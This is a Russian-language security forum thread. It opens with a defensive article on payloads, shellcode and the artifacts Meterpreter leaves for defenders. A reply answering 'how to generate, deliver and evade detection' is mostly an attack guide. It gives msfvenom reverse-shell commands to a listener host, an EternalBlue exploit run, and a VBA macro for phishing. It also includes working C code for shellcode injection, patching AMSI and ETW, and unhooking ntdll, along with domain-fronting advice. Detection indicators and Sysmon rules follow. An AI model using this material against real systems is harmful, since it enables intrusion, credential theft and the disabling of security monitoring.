Payload и shellcode: чем отличаются, как исполняются и какие артефакты видит защитник

Payload и shellcode — не синонимы​


Термины часто используют взаимозаменяемо, но они описывают разные уровни абстракции. Payload — это полезная нагрузка целиком: логика, которую атакующий хочет выполнить на целевой системе. Shellcode — компактный фрагмент машинного кода, который доставляет и запускает payload в условиях, где обычные механизмы загрузки исполняемых файлов недоступны или нежелательны.

Shellcode является одним из способов доставки payload, но не единственным. Payload может быть полноценным исполняемым файлом, скриптом, DLL или командой для интерпретатора. Shellcode появляется там, где нужен минимальный размер и прямое исполнение в памяти без обращения к файловой системе.

Классификация payload по модели взаимодействия​


По способу установления канала управления payload делятся на несколько категорий:

| Тип | Модель соединения | Пример |
|-----|-------------------|--------|
| Reverse shell | Цель инициирует соединение к атакующему | windows/meterpreter/reverse_tcp |
| Bind shell | Цель слушает порт, атакующий подключается | windows/meterpreter/bind_tcp |
| Download & execute | Цель скачивает и запускает файл по URL | windows/download_exec |
| Командный | Выполняет определённую команду | cmd/unix/reverse_python |
| Создание учётной записи | Добавляет пользователя на цель | windows/adduser |
| Деструктивный | Выключает или перезагружает систему | windows/shutdown |

Reverse shell — наиболее распространённый вариант для Windows, потому что исходящие соединения реже блокируются межсетевыми экранами, чем входящие.

Отдельно стоит упомянуть Metsvc (Meterpreter Service) — механизм, который создаёт постоянный сервис Meterpreter на целевой системе, обеспечивая персистентность без повторной эксплуатации уязвимости.

Shellcode как фрагмент машинного кода​


Shellcode представляет собой последовательность байтов машинных инструкций. В учебных примерах его исполняют, приводя указатель на буфер к указателю на функцию:

C:
unsigned char buf[] = "\x00\x00\x00..."; // байты shellcode

int main(int argc, char **argv) {
    void (*func)();
    func = (void (*)()) buf;
    func();
    return 0;
}

Массив buf содержит машинные инструкции. Приведение (void (*)()) buf интерпретирует адрес начала массива как точку входа в функцию. Вызов func() передаёт управление на эти инструкции. В реальных атаках shellcode размещается в памяти процесса различными способами, включая инъекцию в уже запущенные процессы.

Генерация shellcode через msfvenom​


Фреймворк Metasploit включает утилиту msfvenom, которая генерирует shellcode для заданной платформы и формата вывода. Пример генерации для Windows:

Bash:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c

Результат — массив байтов в формате C, готовый к вставке в код. Параметр -f задаёт формат вывода (c, python, raw, exe и другие). LHOST и LPORT указывают адрес и порт, на который shellcode будет устанавливать обратное соединение.

Для приёма соединения на стороне атакующего запускается обработчик в msfconsole:

Код:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run

msfvenom поддерживает множество платформ: Windows, Linux, macOS, Android и другие.

Инъекция в память как способ доставки​


Отдельная категория — payload, которые исполняются непосредственно в памяти процесса без записи на диск. Это усложняет детектирование антивирусами, работающими через файловые сигнатуры. Для защитника это означает, что сканирование файловой системы не обнаружит вредоносный код — нужен анализ памяти процессов.

Некоторые payload могут быть созданы с расчётом на обход определённых антивирусных решений или их характеристик. Это делает сигнатурный подход недостаточным и требует поведенческого анализа.

Возможности Meterpreter после установления сессии​


Meterpreter — один из наиболее функциональных payload в Metasploit. После установления соединения он предоставляет атакующему широкий набор команд. Понимание этих команд помогает защитнику знать, какие артефакты искать.

Сбор информации о системе​


  • sysinfo — получение информации о системе: версия ОС, имя хоста, архитектура
  • getuid — идентификатор текущего пользователя
  • getpid — ID текущего процесса
  • ps — список запущенных процессов
  • ipconfig — информация о сетевых интерфейсах
  • route — таблица маршрутизации

Управление файловой системой​


  • ls — просмотр содержимого директории
  • cd — изменение текущей директории
  • upload и download — загрузка и скачивание файлов между машиной атакующего и целевой системой
  • cat — чтение содержимого файла
  • edit — редактирование файла
  • rm — удаление файла

Управление процессами​


  • migrate PID — перемещение Meterpreter в другой процесс (PID — идентификатор целевого процесса)
  • kill — завершение процесса

Управление сетью​


  • portfwd — настройка переадресации портов
  • netstat — просмотр активных сетевых соединений

Подключение к системе​


  • shell — запуск командной оболочки на целевой системе
  • execute — запуск команды или программы

Привилегии и учётные данные​


  • getsystem — попытка повысить привилегии до SYSTEM
  • hashdump — выгрузка хэшей паролей из системы
  • clearev — очистка журналов событий

Ввод, экран и мультимедиа​


  • screenshot — получение скриншота рабочего стола
  • keyscan_start — начало перехвата клавиатуры
  • keyscan_dump — выгрузка собранных данных перехвата
  • keyscan_stop — остановка перехвата
  • webcam_list — список доступных камер
  • webcam_snap — снимок с веб-камеры
  • record_mic — запись звука с микрофона

Токены и расширения​


  • use incognito — загрузка расширения для управления токенами и выполнения действий от имени других пользователей
  • list_tokens -u — перечисление доступных токенов пользователей
  • load <extension_name> — загрузка дополнительных модулей

Какие артефакты наблюдает защитник​


Каждый этап жизненного цикла payload оставляет следы. Ниже — что видно на уровне хоста и сети.

Сетевые индикаторы​


  • Исходящее TCP-соединение на нестандартный порт от процесса, который обычно не обращается к сети. Reverse shell по определению создаёт исходящее соединение с целевой машины на адрес атакующего.
  • Переадресация портов (portfwd) создаёт дополнительные сетевые маршруты через скомпрометированный хост. Это видно по появлению нестандартных правил маршрутизации.
  • Активные соединения, видимые через netstat, — если атакующий использует сетевые команды, это означает, что сетевой стек задействован нестандартным образом.

Поведение процессов​


  • Миграция в другой процесс. Команда migrate PID перемещает сессию в указанный процесс. Для защитника это выглядит как появление подозрительной активности в легитимном процессе, который ранее вёл себя иначе.
  • Создание дочерних процессов. Команда shell запускает командную оболочку, execute — произвольную программу. Нетипичные родительско-дочерние связи (например, офисное приложение порождает командную оболочку) — классический индикатор.
  • Попытка повышения привилегий. Команда getsystem использует различные техники для получения прав SYSTEM.
  • Завершение процессов (kill) — может указывать на попытку устранить конкурирующее ПО или средства защиты.

Файловая система​


  • Загрузка и выгрузка файлов (upload, download) создаёт или изменяет файлы на диске.
  • Чтение и модификация существующих файлов (cat, edit, rm).
  • Отсутствие файла на диске при наличии активности процесса — признак инъекции в память.

Учётные данные и привилегии​


  • Выгрузка хэшей паролей (hashdump) — обращение к системным хранилищам учётных данных.
  • Манипуляции с токенами (расширение incognito, list_tokens -u) — попытка выдать себя за другого пользователя.
  • Создание учётных записей (payload windows/adduser).

Журналы событий и антифорензика​


  • Очистка журналов (clearev) — удаление записей из Windows Event Log. Само по себе событие очистки логируется, и его наличие без легитимного обоснования — красный флаг.

Ввод и экран​


  • Перехват клавиатуры (keyscan_start, keyscan_dump) — устанавливается механизм перехвата ввода.
  • Скриншоты (screenshot) — захват содержимого экрана.
  • Доступ к камере и микрофону (webcam_snap, record_mic).

Персистентность​


  • Создание сервиса (Metsvc) — появление нового системного сервиса, обеспечивающего повторное подключение без повторной эксплуатации.

Приоритеты детектирования для защитника​


На основе перечисленных артефактов выстраивается многоуровневая модель обнаружения:

  1. Сетевой уровень. Мониторинг исходящих соединений на нестандартные порты, особенно от процессов, которые не должны инициировать сетевую активность. Анализ появления правил переадресации портов.
  2. Уровень процессов. Отслеживание миграции кода между процессами, нетипичных цепочек запуска, обращений к памяти других процессов. Поведенческий анализ здесь важнее сигнатурного.
  3. Уровень памяти. Поскольку payload может исполняться без записи на диск, сканирование файловой системы недостаточно. Необходим анализ памяти процессов на наличие кода, не соответствующего загруженным с диска модулям.
  4. Уровень привилегий. Контроль попыток повышения привилегий до SYSTEM, манипуляций с токенами пользователей, выгрузки хэшей паролей.
  5. Журналирование. Защита журналов событий от очистки (пересылка на удалённый сервер в реальном времени), мониторинг самого факта попытки очистки.

Почему сигнатурный подход недостаточен​


Shellcode и payload, исполняемые в памяти, не оставляют файла на диске. Сигнатурный антивирус, работающий через сканирование файлов, обнаруживает угрозу только если payload записывается на диск или если сигнатура покрывает сетевой трафик. Кроме того, payload могут быть созданы с расчётом на обход конкретных антивирусных решений.

Это одна из причин, почему современные EDR-решения фокусируются на поведенческом анализе и мониторинге активности процессов, а не только на файловых сигнатурах Как понять, что Windows заражена стилером: признаки, проверка и безопасный план восстановления.

Итоговая проверка для защитника​


  • Исходящие соединения от нетипичных процессов на нестандартные порты
  • Миграция исполнения между процессами без легитимного обоснования
  • Обращения к системным хранилищам учётных данных
  • Попытки очистки журналов событий
  • Нетипичные родительско-дочерние цепочки процессов
  • Активность процесса при отсутствии соответствующего файла на диске
  • Создание новых учётных записей или манипуляции с токенами
  • Появление новых системных сервисов без обоснования
  • Перехват ввода, захват экрана, доступ к мультимедийным устройствам

Каждый из этих индикаторов по отдельности может иметь легитимное объяснение. Совпадение нескольких в коротком временном окне — основание для расследования.

Источники​


 
А раскрой тему про Metasploit, как генерировать пейлоад и как доставлять ?

Что используют для обхода детекта ?
 

Генерация payload через msfvenom​


Базовый синтаксис​


Bash:
msfvenom -p <payload> LHOST=<IP> LPORT=<port> [options] -f <format> -o <output_file>

Примеры генерации​


Windows x64 reverse shell (EXE):

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f exe -o payload.exe

Windows x64 reverse shell (C-массив для инъекции):

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f c -o shellcode.c

Linux x64 reverse shell (ELF):

Bash:
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f elf -o payload.elf

DLL для side-loading:

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f dll -o payload.dll

Raw shellcode для ручной загрузки:

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f raw -o shellcode.bin

Python (для скриптов и PoC):

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f python -o payload.py

Stageless vs Staged​


| Параметр | Staged (reverse_tcp) | Stageless (reverse_tcp_rc4) |
|----------|------------------------|-------------------------------|
| Размер начального shellcode | ~500 байт | ~200 КБ |
| Сетевое поведение | Два этапа: stager → stage | Один этап: всё сразу |
| Детектируемость | Stager мал, но второй этап виден в трафике | Больше на старте, но нет второго соединения |
| Использование | Когда нужен минимальный размер | Когда важна надёжность и меньше сетевых артефактов |

Stageless-варианты обозначаются суффиксом _rc4 или _ssl и не содержат слэш в имени:

Bash:
# Staged
msfvenom -p windows/x64/meterpreter/reverse_tcp ...

# Stageless
msfvenom -p windows/x64/meterpreter_reverse_tcp ...

Шифрование и кодирование на этапе генерации​


Bash:
# XOR-кодирование
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/xor_dynamic -f raw -o encoded.bin

# AES-шифрование (Metasploit 6.3+)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  --encrypt aes256 --encrypt-key "SECRET_KEY_HERE" \
  -f raw -o encrypted.bin

# RC4
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  --encrypt rc4 --encrypt-key "mykey" \
  -f raw -o rc4.bin

────────────────────

Доставка payload​


1. Эксплуатация уязвимости (Metasploit exploit module)​


Классический путь: модуль эксплуатирует уязвимость и доставляет shellcode в память.

Код:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET_IP
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run

2. Социальная инженерия (фишинг с вложением)​


Генерация документа с макросом:

Bash:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f vba -o macro.vba

Макрос вставляется в документ Word/Excel. При открытии и разрешении макросов выполняется shellcode.

3. Веб-доставка (drive-by download)​


Payload размещается на контролируемом веб-сервере. Цель загружает и запускает файл.

Bash:
# Генерация EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f exe -o update.exe

# Раздача через Python HTTP
python3 -m http.server 8080

4. DLL side-loading / search order hijacking​


Генерируется вредоносная DLL с именем, которое легитимное приложение ищет в своей директории:

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f dll -o version.dll

DLL подкладывается рядом с легитимным EXE, который загружает version.dll из текущей директории раньше, чем из System32.

5. Process injection / process hollowing​


Shellcode инжектируется в уже запущенный процесс. Типичный шаблон на C:

C:
#include <windows.h>

unsigned char shellcode[] = "..."; // из msfvenom -f c

int main() {
    // Выделение памяти с правами RWX
    void *mem = VirtualAlloc(NULL, sizeof(shellcode),
                             MEM_COMMIT | MEM_RESERVE,
                             PAGE_EXECUTE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));

    // Создание потока на shellcode
    HANDLE hThread = CreateThread(NULL, 0,
                                  (LPTHREAD_START_ROUTINE)mem,
                                  NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

Более продвинутые варианты:

  • Process hollowing — создание процесса в suspended state, замена образа в памяти, возобновление.
  • AtomBombing — использование atom tables для передачи shellcode между процессами.
  • APC injection — постановка APC в очередь целевого потока.

6. Reflective DLL injection​


DLL загружается в память без вызова LoadLibrary. Metasploit использует этот механизм для Meterpreter:

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f dll -o reflective.dll

Загрузчик (loader) читает DLL в память, парсит PE-заголовок, разрешает импорты и вызывает DllMain — всё без обращения к LoadLibrary и без записи на диск.

────────────────────

Обход детектирования​


Уровни защиты, которые нужно учитывать​


  1. Статический антивирус — сигнатуры на файле
  2. AMSI (Antimalware Scan Interface) — сканирование скриптов и кода в памяти
  3. ETW (Event Tracing for Windows) — телеметрия для EDR
  4. EDR — поведенческий анализ, хуки API
  5. Сетевые IDS/IPS — сигнатуры на трафике

Техники обхода статического детекта​


Кодирование shellcode:

Bash:
# shikata_ga_nai — полиморфный XOR-энкодер (классика, но давно детектируется)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f raw -o encoded.bin

# XOR с динамическим ключом
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/xor_dynamic -f raw -o xor.bin

Шифрование:

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  --encrypt aes256 --encrypt-key "lab_key_123" \
  -f raw -o encrypted.bin

Шифрованный shellcode расшифровывается в раннере непосредственно перед исполнением. Раннер можно написать на C, Nim, Go, Rust.

Упаковка (packing/crypting):

  • Коммерческие и open-source packer'ы (UPX — детектируется, но как базовый пример)
  • Кастомные crypter'ы: шифруют PE-файл, упаковщик содержит stub-загрузчик
  • .NET-обфускаторы для .NET payload

Изменение структуры PE:

  • Добавление секций, изменение entry point
  • Модификация timestamp, удаление debug-информации
  • Изменение импорта (IAT obfuscation)

Техники обхода AMSI​


AMSI перехватывает вызовы AmsiScanBuffer и проверяет содержимое перед исполнением. Основные подходы:

Патчинг AmsiScanBuffer в памяти:

C:
// Концептуальный пример — патч возврата E_INVALIDARG
#include <windows.h>
#include <amsi.h>

typedef HRESULT(WINAPI *AmsiScanBuffer_t)(
    HAMSICONTEXT, LPCVOID, ULONG, LPCWSTR,
    HAMSISESSION, AMSI_RESULT *);

void PatchAmsi() {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    AmsiScanBuffer_t pAmsiScanBuffer =
        (AmsiScanBuffer_t)GetProcAddress(hAmsi, "AmsiScanBuffer");

    DWORD oldProtect;
    VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);

    // mov eax, E_INVALIDARG; ret
    unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    memcpy(pAmsiScanBuffer, patch, sizeof(patch));

    VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}

Обфускация строк и вызовов:

  • Разбиение строки "amsi.dll" на части и сборка в рантайме
  • Использование GetProcAddress через хэши вместо имён
  • Динамическое разрешение API

Техники обхода ETW​


ETW (Event Tracing for Windows) — источник телеметрии для EDR. Патчинг EtwEventWrite:

C:
void PatchEtw() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    void *pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(unsigned char *)pEtwEventWrite = 0xC3; // ret
    VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
}

Техники обхода EDR (поведенческий уровень)​


Unhooking (снятие хуков с ntdll):

EDR ставят inline-хуки на функции ntdll.dll (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx и др.). Обход:

C:
// Перезапись ntdll из чистого образа на диске
void UnhookNtdll() {
    HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll",
                               GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, 0, NULL);
    HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE,
                                    0, 0, NULL);
    void *pClean = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    // Копирование .text секции из чистого образа в текущий ntdll
    // ... (парсинг PE, поиск .text, memcpy с VirtualProtect)

    UnmapViewOfFile(pClean);
    CloseHandle(hMap);
    CloseHandle(hFile);
}

Direct syscalls:

Вместо вызова API через ntdll.dll (где стоят хуки) — прямой вызов системного прерывания:

Код:
; Пример для x64 — NtAllocateVirtualMemory
; syscall number берётся из текущей версии ntdll или хардкодится
NtAllocateVirtualMemory:
    mov r10, rcx
    mov eax, 18h        ; syscall number (зависит от версии Windows)
    syscall
    ret

Инструменты для автоматизации:
  • SysWhispers2/3 — генерация заголовков с syscall-номерами
  • HellsGate — динамическое извлечение syscall-номеров из ntdll

Indirect syscalls:

Вместо syscall в своём коде используется jmp на gadget syscall; ret внутри ntdll. Это обходит EDR, которые проверяют, что syscall вызывается из модуля ntdll.

Sleep obfuscation:

Meterpreter и другие импланты большую часть времени находятся в режиме ожидания. EDR могут сканировать память в этот момент. Обход:

  • Шифрование своей памяти перед Sleep, расшифровка после пробуждения
  • Использование WaitForSingleObject с таймаутом вместо Sleep
  • Stack spoofing — подмена стека вызовов перед сном

Обход сетевого детекта​


Шифрование канала:

Bash:
# HTTPS вместо TCP
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.14.5 LPORT=443 \
  -f exe -o payload.exe

# SMB (маскировка под легитимный трафик в домене)
msfvenom -p windows/x64/meterpreter/reverse_named_pipe_svc \
  LHOST=10.10.14.5 \
  -f exe -o payload.exe

Domain fronting:

Соединение идёт через CDN (CloudFront, Azure CDN), SNI показывает легитимный домен, а Host-заголовок — реальный C2.

Malleable C2 profiles (Cobalt Strike):

Профили, имитирующие легитимный трафик (jQuery, Amazon, Microsoft Update). В Metasploit аналог — настройка HttpUserAgent, HttpHeaders, URI-пути.

────────────────────

Что видит защитник​


Статический уровень​


  • Нестандартные секции PE, высокая энтропия (признак шифрования/упаковки)
  • Отсутствие подписи или подпись от неизвестного издателя
  • Подозрительные импорты: VirtualAlloc, VirtualProtect, CreateThread, WriteProcessMemory в сочетании

Поведенческий уровень (EDR)​


  • VirtualAlloc с PAGE_EXECUTE_READWRITE + CreateThread на выделенную память
  • WriteProcessMemory в чужой процесс + CreateRemoteThread
  • Патчинг amsi.dll или ntdll.dll в памяти (обнаруживается по изменению хэша модуля)
  • Прямые syscall из памяти, не принадлежащей ntdll (обнаруживается по проверке return address)
  • Шифрование/расшифровка больших блоков памяти перед Sleep

Сетевой уровень​


  • TLS-соединение с самоподписанным сертификатом
  • JA3/JA3S fingerprint, не соответствующий известным браузерам
  • Периодические beacon-запросы с фиксированным jitter
  • Нестандартный User-Agent или его отсутствие

Меры защиты​


  • AMSI + EDR с защитой от патчинга (PPL, kernel-mode callbacks)
  • Credential Guard — защищает от hashdump
  • Attack Surface Reduction rules — блокируют макросы, запуск из временных папок
  • Network segmentation — ограничивает lateral movement
  • Memory scanning — периодическое сканирование памяти процессов
  • Sysmon — логирует CreateRemoteThread, ProcessAccess, ImageLoad
  • YARA-правила на memory dumps
  • ETW с защитой от патчинга (kernel ETW sessions)

────────────────────

Лабораторный стенд для практики​


Код:
┌─────────────────────────────────────────────┐
│  Attacker VM (Kali/Parrot)                  │
│  - Metasploit Framework                     │
│  - msfvenom                                 │
│  - Listener (multi/handler)                 │
└──────────────────┬──────────────────────────┘
                   │ 10.10.14.0/24
┌──────────────────┴──────────────────────────┐
│  Target VM (Windows 10/11, Windows Server)  │
│  - Sysmon + Event forwarding                │
│  - EDR (или Wazuh/OSSEC для лаборатории)    │
│  - Wireshark / Zeek на интерфейсе           │
└─────────────────────────────────────────────┘

Рекомендуемые правила Sysmon для наблюдения:

XML:
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <RuleGroup name="ProcessCreate" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Image condition="end with">cmd.exe</Image>
        <Image condition="end with">powershell.exe</Image>
      </ProcessCreate>
    </RuleGroup>
    <RuleGroup name="CreateRemoteThread" groupRelation="or">
      <CreateRemoteThread onmatch="include" />
    </RuleGroup>
    <RuleGroup name="ProcessAccess" groupRelation="or">
      <ProcessAccess onmatch="include">
        <GrantedAccess condition="contains">0x1FFFFF</GrantedAccess>
      </ProcessAccess>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

────────────────────

Итого: цепочка от генерации до детекта​


Код:
msfvenom → shellcode (raw/encoded/encrypted)
    ↓
Loader (C/Nim/Go/Rust) → PE/DLL/reflective
    ↓
Delivery (exploit / phishing / side-load / injection)
    ↓
Execution in memory → Meterpreter session
    ↓
Post-exploitation (migrate, getsystem, hashdump, persist)

Каждый этап оставляет артефакты. Задача защитника — детектировать на как можно более раннем этапе. Задача атакующего в авторизованном тесте — проверить, на каком этапе защита срабатывает, и дать рекомендации по улучшению.
 
Назад
Верх Низ